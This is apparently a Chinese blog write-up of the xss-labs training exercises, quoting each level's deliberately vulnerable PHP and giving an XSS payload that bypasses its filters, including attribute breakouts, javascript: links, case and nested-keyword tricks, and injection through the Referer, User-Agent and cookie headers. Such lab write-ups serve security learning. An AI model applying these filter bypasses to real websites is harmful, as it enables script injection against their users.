xss_labs练习

第一关

源码分析

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";  //直接输出,无任何过滤措施

构造payload


第二关

源码分析

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>
  • htmlspecialchars函数将预定义字符转换成实体
  • 处输入的参数$str没有丝毫的过滤,只要闭合掉value的双引号即可执行输入参数中的代码

构造payload

  • " onmouseover="alert(2)
  • onmouseover鼠标移动到指定的事件上会触发事件

第三关

源码分析

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";

参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中虽然被转义,但是htmlspecialchars()函数默认是不过滤单引号的,恰好value是用的单引号,可在input中闭合单引号来构造语句

构造payload

  • ' onclick ='alert(3)

第四关

源码分析

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将尖括号替换为空,我们可以使用不需要尖括号的代码来触发xss

构造payload

  • " onmouseover="alert(4)

第五关

源码分析

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将<script和on进行了替换,且strtolower函数使得不能使用大小写来绕过<script和on的替换,所以不能使用事件属性的标签,可以闭合掉input标签,构造新的触发xss代码

构造payload

  • "><a href=javascript:alert('5') >//

第六关

源码分析

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

参数输入后,被传到h2和input标签中输出,在h2中被转义,无法执行代码;在input标签中将<script、on、src、href进行了替换,因此标签是用不了了,但是这次输入参数没有像上一关过滤大小写,因此可以利用这一点来触发xss

构造payload

  • " Onclick="alert(6)

第七关

源码分析

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

参数输入后过滤了大小写,被传到h2和input标签中输出,在h2中被转义,无法执行代码,在input标签中将<script、on、data、src、href替换成空字符,突破点在这里,可以用嵌套来触发xss

构造payload

  • " oonnmouseover="alert(7)

第八关

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';//BR用于生成换行回车的符号
?>

参数输入后过滤了大小写,被传到input和center标签中输出,在input中将script、on、data、src、href替换成特殊字符,双引号替换成实体符号,并在最后输出的value处做了转义处理,这里已经没有什么可以突破的点了;
在center处虽然也会收到<script、on、data、src、href替换成特殊字符,双引号替换成实体符号,但是输出点在标签
内,通过编码绕过对script的替换来构造payload

构造payload

  • javascript:alert(8)

第九关

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

参数输入后过滤了大小写,被传到center和input标签中输出,在input中将script、on、data、src、href替换成特殊字符,双引号替换成实体符号,并在最后输出的value处做了转义处理,这里已经没有什么可以突破的点了;
在center处虽然也会收到<script、on、data、src、href替换成特殊字符,双引号替换成实体符号,但是输出点在标签
内,只是有个输出条件:就是输入的链接里包含有http://,通过编码绕过对script的替换来构造payload

构造payload

  • javascript:alert(9)//http://

第十关

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

参数输入后其中一个直接被实体化过滤,另一个表单中参数在input标签内被过滤了尖括号并隐藏了表单

构造payload

  • &t_sort=abc" onclick=alert(10) type="text"

第十一关

源码分析

?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

通过源码我们可知道keyword和t_sort参数是没有触发xss的可能性了。变量$str33来源于referer中,只过滤了尖括号。

构造payload

  • ” type='text' onclick="alert(11)

第十二关

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

和上一关一样,只是注入点在User_Agent处

构造payload

  • " type='text' onclick="alert(12)


第十三关

源码分析

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

和上一关一样,只是注入点在cookie处的user属性中

构造payload

  • user=" type="text" onclick=alert(13)//

第十四关

源码分析

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

本关暂时不知道该怎么解


第十五关

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>`

源代码里输出点只有一个关于URL的ng-include输出。,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗,徐泽第一关的页面,因为不需要过滤。

构造payload

  • src="level1.php?name="

第十六关

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

两处输出点,都过滤了script、空格,但可以选择用其他标签来替代script和换行、回车替代空格

构造payload

  • keyword=<img%0asrc=x%0aonerror=alert(16)>

posted @ 2022-02-07 14:31  ceiling~  阅读(36)  评论(0编辑  收藏  举报